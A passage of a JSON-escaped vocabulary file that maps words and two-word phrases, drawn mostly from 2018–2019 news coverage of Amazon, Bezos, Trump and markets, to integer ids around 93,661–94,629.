\"supremacist\": 93661,\n  \"power prime\": 93662,\n  \"fourteen airmen\": 93663,\n  \"challenge trip\": 93664,\n  \"prevent terrorist\": 93665,\n  \"targets slightly\": 93666,\n  \"took nonstop\": 93667,\n  \"family member\": 93668,\n  \"ample\": 93669,\n  \"cultural affairs\": 93670,\n  \"actress aneurysms\": 93671,\n  \"pubgversary xiaomi\": 93672,\n  \"dials bazillion\": 93673,\n  \"vocational school\": 93674,\n  \"wire agency\": 93675,\n  \"economic force\": 93676,\n  \"single year\": 93677,\n  \"agencies deploy\": 93678,\n  \"celebrities red\": 93679,\n  \"african republic\": 93680,\n  \"sneak peek\": 93681,\n  \"equates\": 93682,\n  \"big changes\": 93683,\n  \"site souq\": 93684,\n  \"fatigue\": 93685,\n  \"kaine\": 93686,\n  \"telsey\": 93687,\n  \"endanger\": 93688,\n  \"candidate beto\": 93689,\n  \"kids homes\": 93690,\n  \"term solutions\": 93691,\n  \"amazon prime\": 93692,\n  \"mailing fewer\": 93693,\n  \"western efforts\": 93694,\n  \"staff diversity\": 93695,\n  \"components dow\": 93696,\n  \"office delivers\": 93697,\n  \"yes cnn\": 93698,\n  \"taxes local\": 93699,\n  \"nation unfortunately\": 93700,\n  \"somali\": 93701,\n  \"politicized climate\": 93702,\n  \"partnership rests\": 93703,\n  \"smart lock\": 93704,\n  \"debut heres\": 93705,\n  \"produces real\": 93706,\n  \"boston fed\": 93707,\n  \"california nevada\": 93708,\n  \"aut_imgid 51492\": 93709,\n  \"flotus\": 93710,\n  \"interruption\": 93711,\n  \"everyday new\": 93712,\n  \"clothes dryer\": 93713,\n  \"sen tim\": 93714,\n  \"pitched facial\": 93715,\n  \"senate later\": 93716,\n  \"otcmkts hnhpf\": 93717,\n  \"did paid\": 93718,\n  \"sap application\": 93719,\n  \"motion reiterating\": 93720,\n  \"parking\": 93721,\n  \"nearing deal\": 93722,\n  \"cuddly\": 93723,\n  \"democrats elijah\": 93724,\n  \"partners practice\": 93725,\n  \"moves scared\": 93726,\n  \"pritzker plan\": 93727,\n  \"staked\": 93728,\n  \"deems\": 93729,\n  \"cures ray\": 93730,\n  \"unflinching\": 93731,\n  \"chemicals amazon\": 93732,\n  \"worldwide rollout\": 93733,\n  \"previous cards\": 93734,\n  \"blue rider\": 93735,\n  \"cola underlying\": 93736,\n  \"demand trump\": 93737,\n  \"process sparked\": 93738,\n  \"closest approved\": 93739,\n  \"scandal involving\": 93740,\n  \"keen amazon\": 93741,\n  \"trump assertion\": 93742,\n  \"app\": 93743,\n  \"raymond zondo\": 93744,\n  \"candidates elected\": 93745,\n  \"ways 2018\": 93746,\n  \"cnbc think\": 93747,\n  \"potential political\": 93748,\n  \"690 shares\": 93749,\n  \"free state\": 93750,\n  \"fox affiliate\": 93751,\n  \"agency staff\": 93752,\n  \"crony capitalism\": 93753,\n  \"wealthiest individuals\": 93754,\n  \"hq2 local\": 93755,\n  \"concrete game\": 93756,\n  \"israel organizations\": 93757,\n  \"late stephen\": 93758,\n  \"real rationale\": 93759,\n  \"messages risks\": 93760,\n  \"congressional committees\": 93761,\n  \"says worklife\": 93762,\n  \"hard drives\": 93763,\n  \"warren buffett\": 93764,\n  \"tax multinationals\": 93765,\n  \"getting distribution\": 93766,\n  \"by\\u0430katz\\u0430cowley\": 93767,\n  \"hates corporations\": 93768,\n  \"religious worship\": 93769,\n  \"including vehicle\": 93770,\n  \"sign especially\": 93771,\n  \"amazon spin\": 93772,\n  \"debt trap\": 93773,\n  \"impose dollar\": 93774,\n  \"contractors supporting\": 93775,\n  \"preserving\": 93776,\n  \"uploading classified\": 93777,\n  \"island cult\": 93778,\n  \"responded speaking\": 93779,\n  \"operatives remain\": 93780,\n  \"provisional\": 93781,\n  \"2018 president\": 93782,\n  \"swamp deal\": 93783,\n  \"aerospace businesses\": 93784,\n  \"received immediate\": 93785,\n  \"amazon noted\": 93786,\n  \"lawmakers approved\": 93787,\n  \"acts reported\": 93788,\n  \"graziano da\": 93789,\n  \"respectable\": 93790,\n  \"trump 5k\": 93791,\n  \"timesofkskgallery\": 93792,\n  \"parasites\": 93793,\n  \"richard chang\": 93794,\n  \"drop offs\": 93795,\n  \"special importance\": 93796,\n  \"cortez called\": 93797,\n  \"brought flooding\": 93798,\n  \"27th best\": 93799,\n  \"justice stevens\": 93800,\n  \"trump wikileaks\": 93801,\n  \"timely advice\": 93802,\n  \"goods amid\": 93803,\n  \"guess shaved\": 93804,\n  \"conversely\": 93805,\n  \"television fred\": 93806,\n  \"discuss privacy\": 93807,\n  \"trump agenda\": 93808,\n  \"pact\": 93809,\n  \"reported\": 93810,\n  \"does occur\": 93811,\n  \"embedbutton\": 93812,\n  \"nato leader\": 93813,\n  \"champion mom\": 93814,\n  \"different topic\": 93815,\n  \"apga guber\": 93816,\n  \"child exploitation\": 93817,\n  \"officials complied\": 93818,\n  \"placing search\": 93819,\n  \"necessarily hurt\": 93820,\n  \"currencies\": 93821,\n  \"recounts\": 93822,\n  \"cuomo prevailing\": 93823,\n  \"mgmt lc\": 93824,\n  \"season\": 93825,\n  \"correspondent amazon\": 93826,\n  \"additional time\": 93827,\n  \"travel restrictions\": 93828,\n  \"abramowitz wouldn\": 93829,\n  \"dnllnupeff\": 93830,\n  \"square celebrating\": 93831,\n  \"question marks\": 93832,\n  \"delagarza time\": 93833,\n  \"wealthy women\": 93834,\n  \"information sealed\": 93835,\n  \"pistol whipped\": 93836,\n  \"billboards\": 93837,\n  \"simple\": 93838,\n  \"chinese consumer\": 93839,\n  \"brutal warehouse\": 93840,\n  \"preschool\": 93841,\n  \"fuels arguing\": 93842,\n  \"president ties\": 93843,\n  \"excellent cast\": 93844,\n  \"playing right\": 93845,\n  \"allow state\": 93846,\n  \"job killing\": 93847,\n  \"retailers report\": 93848,\n  \"manhunt clergy\": 93849,\n  \"dealers\": 93850,\n  \"purely\": 93851,\n  \"sold mere\": 93852,\n  \"poland\": 93853,\n  \"verisimilitude\": 93854,\n  \"old software\": 93855,\n  \"rescission\": 93856,\n  \"woman\": 93857,\n  \"bomb test\": 93858,\n  \"nordstrom dropped\": 93859,\n  \"manufacturing ramped\": 93860,\n  \"contemporary world\": 93861,\n  \"fellow tech\": 93862,\n  \"destructive effects\": 93863,\n  \"richie marini\": 93864,\n  \"trump used\": 93865,\n  \"products exclusively\": 93866,\n  \"smudges\": 93867,\n  \"app shutdown\": 93868,\n  \"workers used\": 93869,\n  \"enhances\": 93870,\n  \"dianne feinstein\": 93871,\n  \"detect\": 93872,\n  \"interests amazon\": 93873,\n  \"possible conflict\": 93874,\n  \"grant amazon\": 93875,\n  \"overstate miller\": 93876,\n  \"companies participates\": 93877,\n  \"stimulus program\": 93878,\n  \"229\": 93879,\n  \"giant announcing\": 93880,\n  \"proposed giving\": 93881,\n  \"remember lots\": 93882,\n  \"trump called\": 93883,\n  \"life warts\": 93884,\n  \"movers\": 93885,\n  \"business group\": 93886,\n  \"reverse christianity\": 93887,\n  \"active volcanoes\": 93888,\n  \"maxboot\": 93889,\n  \"bezos mega\": 93890,\n  \"disney did\": 93891,\n  \"avery wine\": 93892,\n  \"working fulltime\": 93893,\n  \"existing department\": 93894,\n  \"soviet security\": 93895,\n  \"legitimate threats\": 93896,\n  \"carry economy\": 93897,\n  \"iranian cookbook\": 93898,\n  \"brendan ciecko\": 93899,\n  \"2017 interview\": 93900,\n  \"additional ounces\": 93901,\n  \"sandos5 pictures\": 93902,\n  \"companies unlike\": 93903,\n  \"amazon tentacles\": 93904,\n  \"considering expanding\": 93905,\n  \"nyse vz\": 93906,\n  \"cartoon trump\": 93907,\n  \"cbp spends\": 93908,\n  \"ross foto\": 93909,\n  \"female representation\": 93910,\n  \"workplace safer\": 93911,\n  \"duker\": 93912,\n  \"long markets\": 93913,\n  \"married lover\": 93914,\n  \"alphabet acquiring\": 93915,\n  \"headsets\": 93916,\n  \"force review\": 93917,\n  \"hilliard\": 93918,\n  \"beat\": 93919,\n  \"line amazon\": 93920,\n  \"whiplash actor\": 93921,\n  \"israelis hoped\": 93922,\n  \"planning cable\": 93923,\n  \"data population\": 93924,\n  \"x0\": 93925,\n  \"insider source\": 93926,\n  \"kantonalbank\": 93927,\n  \"thais\": 93928,\n  \"downforce gripping\": 93929,\n  \"immediately withdraw\": 93930,\n  \"hanes turquoise\": 93931,\n  \"memos\": 93932,\n  \"sparking efforts\": 93933,\n  \"opening dates\": 93934,\n  \"mall shooting\": 93935,\n  \"000 newcomers\": 93936,\n  \"reports troops\": 93937,\n  \"sr_1_3\": 93938,\n  \"court selections\": 93939,\n  \"alleged misconduct\": 93940,\n  \"stampsby\": 93941,\n  \"mike conley\": 93942,\n  \"congressman matt\": 93943,\n  \"workers low\": 93944,\n  \"castaway chelsea\": 93945,\n  \"term wealth\": 93946,\n  \"delivery sources\": 93947,\n  \"local elections\": 93948,\n  \"net d2jyz4lfsmnmp9\": 93949,\n  \"just answer\": 93950,\n  \"interviews aileen\": 93951,\n  \"mysterious sounds\": 93952,\n  \"increased amazon\": 93953,\n  \"raising objections\": 93954,\n  \"fantasised\": 93955,\n  \"addabbo queens\": 93956,\n  \"lose revenue\": 93957,\n  \"tiffany trump\": 93958,\n  \"preoccupied\": 93959,\n  \"court affirmed\": 93960,\n  \"formidable cleveland\": 93961,\n  \"sanchez mikey2go\": 93962,\n  \"value tanked\": 93963,\n  \"house guess\": 93964,\n  \"assaulted conway\": 93965,\n  \"economy experienced\": 93966,\n  \"trump khashoggi\": 93967,\n  \"trades\": 93968,\n  \"slightly compared\": 93969,\n  \"platform friend\": 93970,\n  \"coalfire\": 93971,\n  \"picks detroit\": 93972,\n  \"noble used\": 93973,\n  \"influences\": 93974,\n  \"retailer primarily\": 93975,\n  \"delaware wrote\": 93976,\n  \"trumpism\": 93977,\n  \"var c2x\": 93978,\n  \"politicians care\": 93979,\n  \"city suddenly\": 93980,\n  \"politely\": 93981,\n  \"d4a z4a\": 93982,\n  \"book princesses\": 93983,\n  \"dirty little\": 93984,\n  \"issue recommendations\": 93985,\n  \"proposals involving\": 93986,\n  \"sentinel\": 93987,\n  \"american success\": 93988,\n  \"formal endorsement\": 93989,\n  \"kwan check\": 93990,\n  \"officer sword\": 93991,\n  \"beverage ap\\u00e9ritif\": 93992,\n  \"express bezos\": 93993,\n  \"eps 91c\": 93994,\n  \"design phones\": 93995,\n  \"wing groups\": 93996,\n  \"paying corporate\": 93997,\n  \"buisness\": 93998,\n  \"angry east\": 93999,\n  \"scrutinising\": 94000,\n  \"disposable names\": 94001,\n  \"originates\": 94002,\n  \"politics news\": 94003,\n  \"vein\": 94004,\n  \"dossier began\": 94005,\n  \"contract looks\": 94006,\n  \"grass\": 94007,\n  \"send checks\": 94008,\n  \"grown wealthier\": 94009,\n  \"hurting america\": 94010,\n  \"cellmate\": 94011,\n  \"condones attacks\": 94012,\n  \"attractive customer\": 94013,\n  \"centers compared\": 94014,\n  \"yorkers struggling\": 94015,\n  \"driving strong\": 94016,\n  \"bogglingly\": 94017,\n  \"pbs\": 94018,\n  \"hikers\": 94019,\n  \"uber aggressive\": 94020,\n  \"zealand darkest\": 94021,\n  \"retailer dsw\": 94022,\n  \"1542140927\": 94023,\n  \"verdad accused\": 94024,\n  \"lane flakedems\": 94025,\n  \"montegriffo\": 94026,\n  \"real concern\": 94027,\n  \"tweet dear\": 94028,\n  \"dropped amid\": 94029,\n  \"americafirst dobbs\": 94030,\n  \"proclaiming\": 94031,\n  \"humble online\": 94032,\n  \"itep report\": 94033,\n  \"fierce trump\": 94034,\n  \"force consumers\": 94035,\n  \"storage structures\": 94036,\n  \"detention center\": 94037,\n  \"manhattan brian\": 94038,\n  \"hidden dna\": 94039,\n  \"lakes congress\": 94040,\n  \"minivan safety\": 94041,\n  \"standard tabloid\": 94042,\n  \"files 2018\": 94043,\n  \"expected savings\": 94044,\n  \"week canceled\": 94045,\n  \"hsun\": 94046,\n  \"rating wells\": 94047,\n  \"tough america\": 94048,\n  \"year handful\": 94049,\n  \"duel\": 94050,\n  \"sordid tale\": 94051,\n  \"programme makers\": 94052,\n  \"vine\": 94053,\n  \"gmt food\": 94054,\n  \"conversation starter\": 94055,\n  \"street jon\": 94056,\n  \"spotify pandora\": 94057,\n  \"sex doll\": 94058,\n  \"lift millions\": 94059,\n  \"question vaccines\": 94060,\n  \"fast gentrifying\": 94061,\n  \"100 page\": 94062,\n  \"representing queens\": 94063,\n  \"sound familiar\": 94064,\n  \"obrador\": 94065,\n  \"anti vaxxer\": 94066,\n  \"immigrants carrell\": 94067,\n  \"adopt wait\": 94068,\n  \"earn little\": 94069,\n  \"carriers amazon\": 94070,\n  \"developing city\": 94071,\n  \"corp owns\": 94072,\n  \"amazon myriad\": 94073,\n  \"finance ministry\": 94074,\n  \"averages bounce\": 94075,\n  \"dollar spent\": 94076,\n  \"filing lawsuits\": 94077,\n  \"stu\": 94078,\n  \"enquirer itemising\": 94079,\n  \"competition billboard\": 94080,\n  \"company led\": 94081,\n  \"swift\": 94082,\n  \"cloud environment\": 94083,\n  \"title including\": 94084,\n  \"prices points\": 94085,\n  \"atthe current\": 94086,\n  \"money president\": 94087,\n  \"underappreciated effect\": 94088,\n  \"gun study\": 94089,\n  \"orphaned baudelaire\": 94090,\n  \"patron\": 94091,\n  \"enquirers\": 94092,\n  \"child murder\": 94093,\n  \"johnson wis\": 94094,\n  \"morelli president\": 94095,\n  \"harsh demand\": 94096,\n  \"mohler\": 94097,\n  \"sawyer\": 94098,\n  \"term funding\": 94099,\n  \"cover rent\": 94100,\n  \"general election\": 94101,\n  \"prime trucks\": 94102,\n  \"message dorsey\": 94103,\n  \"humble beginnings\": 94104,\n  \"sector spdr\": 94105,\n  \"military dictatorship\": 94106,\n  \"comments best\": 94107,\n  \"quite reasonable\": 94108,\n  \"story economy\": 94109,\n  \"government added\": 94110,\n  \"cuddly critters\": 94111,\n  \"owners posted\": 94112,\n  \"region meets\": 94113,\n  \"lanzatech aims\": 94114,\n  \"lobby lawmakers\": 94115,\n  \"don peebles\": 94116,\n  \"course spent\": 94117,\n  \"comedic horror\": 94118,\n  \"2017 nearly\": 94119,\n  \"linkedin look\": 94120,\n  \"worse sue\": 94121,\n  \"pbs based\": 94122,\n  \"liesman nightly\": 94123,\n  \"laborers international\": 94124,\n  \"trump technically\": 94125,\n  \"irrelevance 2018\": 94126,\n  \"chinese developer\": 94127,\n  \"leave mark\": 94128,\n  \"famously avoided\": 94129,\n  \"oval\": 94130,\n  \"moved online\": 94131,\n  \"labor thing\": 94132,\n  \"corruption department\": 94133,\n  \"retail space\": 94134,\n  \"fully harness\": 94135,\n  \"occupying trump\": 94136,\n  \"shares mai\": 94137,\n  \"misjudgment\": 94138,\n  \"recently hit\": 94139,\n  \"define design\": 94140,\n  \"playbookers\": 94141,\n  \"biblical decree\": 94142,\n  \"escalating attacks\": 94143,\n  \"workers saw\": 94144,\n  \"contract levin\": 94145,\n  \"office reported\": 94146,\n  \"columnist joe\": 94147,\n  \"prime position\": 94148,\n  \"really needed\": 94149,\n  \"issues internally\": 94150,\n  \"performed poorly\": 94151,\n  \"platform covers\": 94152,\n  \"kelly seattle\": 94153,\n  \"political support\": 94154,\n  \"countries new\": 94155,\n  \"joe guest\": 94156,\n  \"people talking\": 94157,\n  \"playstation\": 94158,\n  \"suddenly decided\": 94159,\n  \"seat lately\": 94160,\n  \"nav\": 94161,\n  \"king belief\": 94162,\n  \"sally goodin\": 94163,\n  \"mimic\": 94164,\n  \"timothy\": 94165,\n  \"fewer vendors\": 94166,\n  \"exact ordeal\": 94167,\n  \"harshly criticizing\": 94168,\n  \"manwho\": 94169,\n  \"discussed afp\": 94170,\n  \"claire stapleton\": 94171,\n  \"community organizer\": 94172,\n  \"counts going\": 94173,\n  \"inflation remain\": 94174,\n  \"compromised\": 94175,\n  \"dicom lasership\": 94176,\n  \"epitome\": 94177,\n  \"applewhite associated\": 94178,\n  \"rough patch\": 94179,\n  \"level candidate\": 94180,\n  \"clean structure\": 94181,\n  \"read minus\": 94182,\n  \"roger\": 94183,\n  \"provide explicit\": 94184,\n  \"video\": 94185,\n  \"issued statement\": 94186,\n  \"cnnvideoapi cnnvideomanager\": 94187,\n  \"indian commerce\": 94188,\n  \"european ceos\": 94189,\n  \"hewson told\": 94190,\n  \"president touts\": 94191,\n  \"immeasurable\": 94192,\n  \"mainstream media\": 94193,\n  \"apple android\": 94194,\n  \"nato stance\": 94195,\n  \"congresswoman maxine\": 94196,\n  \"fund established\": 94197,\n  \"unsuccessfully fought\": 94198,\n  \"work keyboard\": 94199,\n  \"locations trump\": 94200,\n  \"naomi\": 94201,\n  \"vendor government\": 94202,\n  \"current moment\": 94203,\n  \"bodied rapping\": 94204,\n  \"conway felt\": 94205,\n  \"trump wished\": 94206,\n  \"relatively cheap\": 94207,\n  \"tax practices\": 94208,\n  \"keith noreika\": 94209,\n  \"michael dobie\": 94210,\n  \"firm turnaround\": 94211,\n  \"nazis notwithstanding\": 94212,\n  \"work share\": 94213,\n  \"photographer peter\": 94214,\n  \"worth tuning\": 94215,\n  \"shuts\": 94216,\n  \"plowing money\": 94217,\n  \"tech age\": 94218,\n  \"ground running\": 94219,\n  \"simple recipes\": 94220,\n  \"consumer edge\": 94221,\n  \"coalson\": 94222,\n  \"manila philippines\": 94223,\n  \"house departure\": 94224,\n  \"world limit\": 94225,\n  \"826\": 94226,\n  \"hot women\": 94227,\n  \"valley high\": 94228,\n  \"day lasts\": 94229,\n  \"city dominating\": 94230,\n  \"compelling talk\": 94231,\n  \"potentially spilling\": 94232,\n  \"qa ra\": 94233,\n  \"faced big\": 94234,\n  \"innovation amazon\": 94235,\n  \"features including\": 94236,\n  \"developing check\": 94237,\n  \"chairman ajit\": 94238,\n  \"che\": 94239,\n  \"canceling\": 94240,\n  \"china names\": 94241,\n  \"hanze\": 94242,\n  \"quietly\": 94243,\n  \"sure adam\": 94244,\n  \"8217 largest\": 94245,\n  \"participation corporate\": 94246,\n  \"year\": 94247,\n  \"prime according\": 94248,\n  \"crony inertia\": 94249,\n  \"lose ground\": 94250,\n  \"tigon\": 94251,\n  \"big drop\": 94252,\n  \"44th best\": 94253,\n  \"democratic gains\": 94254,\n  \"getting tax\": 94255,\n  \"rising frustrations\": 94256,\n  \"online product\": 94257,\n  \"confidentiality\": 94258,\n  \"genius unpredictable\": 94259,\n  \"benefit package\": 94260,\n  \"just bartiromo\": 94261,\n  \"ago working\": 94262,\n  \"dollar corporation\": 94263,\n  \"costs thatwas\": 94264,\n  \"strong loyalty\": 94265,\n  \"apple 399\": 94266,\n  \"sees fit\": 94267,\n  \"fedex remains\": 94268,\n  \"afford school\": 94269,\n  \"worlds biggest\": 94270,\n  \"quicktakes\": 94271,\n  \"trump midterms\": 94272,\n  \"russian element\": 94273,\n  \"cox\": 94274,\n  \"christmas catalog\": 94275,\n  \"china jeff\": 94276,\n  \"yesterday evening\": 94277,\n  \"returned request\": 94278,\n  \"airlines pilot\": 94279,\n  \"house wanted\": 94280,\n  \"follow tim\": 94281,\n  \"annette hanze\": 94282,\n  \"fec law\": 94283,\n  \"downriver\": 94284,\n  \"involving multiple\": 94285,\n  \"raid standing\": 94286,\n  \"statistics provided\": 94287,\n  \"discounts reducing\": 94288,\n  \"jumpshot\": 94289,\n  \"transformation begins\": 94290,\n  \"original plans\": 94291,\n  \"239 million\": 94292,\n  \"company sale\": 94293,\n  \"soft opening\": 94294,\n  \"graham aws\": 94295,\n  \"handles artificial\": 94296,\n  \"000 troops\": 94297,\n  \"pogo asked\": 94298,\n  \"wrigley\": 94299,\n  \"andrew kirk\": 94300,\n  \"graduating\": 94301,\n  \"commercial aired\": 94302,\n  \"trends depicting\": 94303,\n  \"stronger press\": 94304,\n  \"data terminals\": 94305,\n  \"states president\": 94306,\n  \"siloed stakeholders\": 94307,\n  \"political career\": 94308,\n  \"qualified individuals\": 94309,\n  \"govt\": 94310,\n  \"slots\": 94311,\n  \"director making\": 94312,\n  \"mijente immigrant\": 94313,\n  \"citigroup analysis\": 94314,\n  \"business says\": 94315,\n  \"alex kormann\": 94316,\n  \"proved\": 94317,\n  \"massachusetts community\": 94318,\n  \"1969 mike\": 94319,\n  \"paul oman\": 94320,\n  \"institutions including\": 94321,\n  \"greeting officials\": 94322,\n  \"people power\": 94323,\n  \"twentieth\": 94324,\n  \"valuator funds\": 94325,\n  \"term rates\": 94326,\n  \"time desire\": 94327,\n  \"piers\": 94328,\n  \"linked amazon\": 94329,\n  \"day prior\": 94330,\n  \"ge jack\": 94331,\n  \"provided technical\": 94332,\n  \"seeing consumers\": 94333,\n  \"insecure left\": 94334,\n  \"peaceful diplomatic\": 94335,\n  \"operates cloud\": 94336,\n  \"dumbfounded\": 94337,\n  \"trivialise\": 94338,\n  \"foundation received\": 94339,\n  \"newfield\": 94340,\n  \"fiscal responsibilities\": 94341,\n  \"engagement qanon\": 94342,\n  \"forward bolduan\": 94343,\n  \"movie wouldn\": 94344,\n  \"starts serving\": 94345,\n  \"enemies faster\": 94346,\n  \"bezos mainstream\": 94347,\n  \"longislandcity\": 94348,\n  \"silence similar\": 94349,\n  \"exacerbating\": 94350,\n  \"county set\": 94351,\n  \"visit amazon\": 94352,\n  \"madrid en\": 94353,\n  \"tmdsthqpuf bernie\": 94354,\n  \"plentiful possibilities\": 94355,\n  \"sure bezos\": 94356,\n  \"exemptions tcja\": 94357,\n  \"offer solution\": 94358,\n  \"policy solutions\": 94359,\n  \"including roughly\": 94360,\n  \"flakejeffrey jeff\": 94361,\n  \"told lic\": 94362,\n  \"arm empire\": 94363,\n  \"disappointing sales\": 94364,\n  \"taxman\": 94365,\n  \"pursue abortion\": 94366,\n  \"trump colluded\": 94367,\n  \"trend\": 94368,\n  \"owl\": 94369,\n  \"roache added\": 94370,\n  \"cnn regular\": 94371,\n  \"leagues rush\": 94372,\n  \"mnuchin notes\": 94373,\n  \"savory\": 94374,\n  \"cia 600\": 94375,\n  \"greg ip\": 94376,\n  \"broader issue\": 94377,\n  \"labor economy\": 94378,\n  \"buy collection\": 94379,\n  \"concerns pledge\": 94380,\n  \"impossible balance\": 94381,\n  \"lyrical visionary\": 94382,\n  \"sort centers\": 94383,\n  \"turbulence music\": 94384,\n  \"intentionally conveyed\": 94385,\n  \"writes\": 94386,\n  \"investing based\": 94387,\n  \"views data\": 94388,\n  \"runs service\": 94389,\n  \"pilot washington\": 94390,\n  \"amazon extra\": 94391,\n  \"pink\": 94392,\n  \"refunds followed\": 94393,\n  \"wealth advisors\": 94394,\n  \"photograph alex\": 94395,\n  \"discouraged\": 94396,\n  \"governing board\": 94397,\n  \"tough deals\": 94398,\n  \"kahuna\": 94399,\n  \"political row\": 94400,\n  \"stamped\": 94401,\n  \"overwhelmingly democrat\": 94402,\n  \"ziedins\": 94403,\n  \"capitalism works\": 94404,\n  \"domestic commerce\": 94405,\n  \"substantive news\": 94406,\n  \"chief euro\": 94407,\n  \"retail etf\": 94408,\n  \"unfavorably\": 94409,\n  \"kth sot\": 94410,\n  \"budget submission\": 94411,\n  \"regulators need\": 94412,\n  \"sector dr\": 94413,\n  \"berkshire charlie\": 94414,\n  \"ability communicate\": 94415,\n  \"reasons stone\": 94416,\n  \"physiological\": 94417,\n  \"genitalia\": 94418,\n  \"hedge\": 94419,\n  \"microsoft william\": 94420,\n  \"eu slapped\": 94421,\n  \"trump buildings\": 94422,\n  \"amy mcgrath\": 94423,\n  \"amazed audiences\": 94424,\n  \"year old\": 94425,\n  \"champions\": 94426,\n  \"big gains\": 94427,\n  \"releases new\": 94428,\n  \"uber big\": 94429,\n  \"asked host\": 94430,\n  \"gigantic growth\": 94431,\n  \"breweries related\": 94432,\n  \"awaited justice\": 94433,\n  \"speaks\": 94434,\n  \"holidays according\": 94435,\n  \"wage sanders\": 94436,\n  \"ain gonna\": 94437,\n  \"approximately 900\": 94438,\n  \"members working\": 94439,\n  \"tweet criticizing\": 94440,\n  \"oregon sheriff\": 94441,\n  \"recently agreed\": 94442,\n  \"magazine articles\": 94443,\n  \"108billion\": 94444,\n  \"class action\": 94445,\n  \"center providing\": 94446,\n  \"market andnowuknow\": 94447,\n  \"company valued\": 94448,\n  \"tour project\": 94449,\n  \"becker probe\": 94450,\n  \"utah asked\": 94451,\n  \"balances reflect\": 94452,\n  \"repatriate 252\": 94453,\n  \"indo pacific\": 94454,\n  \"unbox\": 94455,\n  \"remains large\": 94456,\n  \"investor backed\": 94457,\n  \"article pushed\": 94458,\n  \"revealed divorce\": 94459,\n  \"finance sales\": 94460,\n  \"article cites\": 94461,\n  \"marketplace led\": 94462,\n  \"book penned\": 94463,\n  \"consider raising\": 94464,\n  \"reasonable concern\": 94465,\n  \"story black\": 94466,\n  \"merchants nearly\": 94467,\n  \"working stores\": 94468,\n  \"coincidentally setting\": 94469,\n  \"sanders primary\": 94470,\n  \"bezo\": 94471,\n  \"post financial\": 94472,\n  \"difficult trading\": 94473,\n  \"independent package\": 94474,\n  \"whittemore\": 94475,\n  \"foia\": 94476,\n  \"executive budget\": 94477,\n  \"cardi posts\": 94478,\n  \"xlnx qualcomm\": 94479,\n  \"new hires\": 94480,\n  \"proudly displayed\": 94481,\n  \"gates warren\": 94482,\n  \"immaturian candidate\": 94483,\n  \"times nabbed\": 94484,\n  \"ami announced\": 94485,\n  \"2050 increase\": 94486,\n  \"restaurant asked\": 94487,\n  \"kingsolver harpercollins\": 94488,\n  \"impact roughly\": 94489,\n  \"bezos built\": 94490,\n  \"syndrome\": 94491,\n  \"forgiveness\": 94492,\n  \"city pentagon\": 94493,\n  \"audience share\": 94494,\n  \"innovation editor\": 94495,\n  \"trademark registry\": 94496,\n  \"just massive\": 94497,\n  \"colloidal\": 94498,\n  \"market correct\": 94499,\n  \"retailer rates\": 94500,\n  \"delivering packages\": 94501,\n  \"lobbying monster\": 94502,\n  \"delong geekwire\": 94503,\n  \"000 losers\": 94504,\n  \"funniest flubbed\": 94505,\n  \"priest posthumously\": 94506,\n  \"honolulu restaurant\": 94507,\n  \"subpoena\": 94508,\n  \"simultaneously working\": 94509,\n  \"finra\": 94510,\n  \"ellie\": 94511,\n  \"timeout\": 94512,\n  \"combined total\": 94513,\n  \"internal warfare\": 94514,\n  \"t8 j8i\": 94515,\n  \"loses resulting\": 94516,\n  \"criticism trump\": 94517,\n  \"nonfarm\": 94518,\n  \"leaked email\": 94519,\n  \"running trump\": 94520,\n  \"chief human\": 94521,\n  \"writing award\": 94522,\n  \"lounge\": 94523,\n  \"disclosure varieties\": 94524,\n  \"miriam midge\": 94525,\n  \"kostin\": 94526,\n  \"facebook critics\": 94527,\n  \"rail expansion\": 94528,\n  \"provide turnkey\": 94529,\n  \"coal companies\": 94530,\n  \"gala\": 94531,\n  \"california bar\": 94532,\n  \"people apple\": 94533,\n  \"benchmark rate\": 94534,\n  \"football fields\": 94535,\n  \"counterfeit versions\": 94536,\n  \"exposure amazon\": 94537,\n  \"presidency schiff\": 94538,\n  \"big tax\": 94539,\n  \"cuomo don\": 94540,\n  \"leading tools\": 94541,\n  \"investigatory targets\": 94542,\n  \"odd turn\": 94543,\n  \"soon sprout\": 94544,\n  \"corporate titan\": 94545,\n  \"convergence divergence\": 94546,\n  \"refueling\": 94547,\n  \"launch new\": 94548,\n  \"time cassidy\": 94549,\n  \"cap total\": 94550,\n  \"times sent\": 94551,\n  \"streamed events\": 94552,\n  \"thing happened\": 94553,\n  \"newsday michael\": 94554,\n  \"replacement venue\": 94555,\n  \"experience loyalty\": 94556,\n  \"650 324\": 94557,\n  \"billion benefits\": 94558,\n  \"investments closely\": 94559,\n  \"illustrated by\\u0430katz\\u0430cowley\": 94560,\n  \"sites enjoy\": 94561,\n  \"phone begging\": 94562,\n  \"shows checks\": 94563,\n  \"significant acceleration\": 94564,\n  \"subsidizing package\": 94565,\n  \"jake\": 94566,\n  \"intl fd\": 94567,\n  \"ford nature\": 94568,\n  \"separately registered\": 94569,\n  \"wealth advsr\": 94570,\n  \"amazon lists\": 94571,\n  \"cristina thank\": 94572,\n  \"home 2017\": 94573,\n  \"trump follows\": 94574,\n  \"incipient techlash\": 94575,\n  \"post quotes\": 94576,\n  \"operations official\": 94577,\n  \"g1 y29uc3rydwn0b3i\": 94578,\n  \"smaller commerce\": 94579,\n  \"issupposed\": 94580,\n  \"official powers\": 94581,\n  \"mitigated exposure\": 94582,\n  \"america vast\": 94583,\n  \"years researching\": 94584,\n  \"social medicine\": 94585,\n  \"embarrassment narrative\": 94586,\n  \"iwanowicz\": 94587,\n  \"day17\": 94588,\n  \"guy blach\\u00e9\": 94589,\n  \"price appreciation\": 94590,\n  \"sanchez unless\": 94591,\n  \"joined earlier\": 94592,\n  \"warner company\": 94593,\n  \"sit idly\": 94594,\n  \"2019 police\": 94595,\n  \"senior aides\": 94596,\n  \"bradley beal\": 94597,\n  \"iton\": 94598,\n  \"images showing\": 94599,\n  \"suit univision\": 94600,\n  \"ibama president\": 94601,\n  \"beast reporter\": 94602,\n  \"pet issues\": 94603,\n  \"2018 meme\": 94604,\n  \"issues hat\": 94605,\n  \"amazon attacks\": 94606,\n  \"packages purchased\": 94607,\n  \"trabajo\": 94608,\n  \"theory declare\": 94609,\n  \"thievery\": 94610,\n  \"hideously\": 94611,\n  \"named josh\": 94612,\n  \"imminence\": 94613,\n  \"bit soft\": 94614,\n  \"grueling\": 94615,\n  \"john travolta\": 94616,\n  \"incentives including\": 94617,\n  \"awful place\": 94618,\n  \"reach balanced\": 94619,\n  \"departure brett\": 94620,\n  \"believed god\": 94621,\n  \"rescues\": 94622,\n  \"following matches\": 94623,\n  \"000 knowing\": 94624,\n  \"sees revenue\": 94625,\n  \"compares misinformation\": 94626,\n  \"history governor\": 94627,\n  \"series follows\": 94628,\n  \"critical long\": 94629,\n 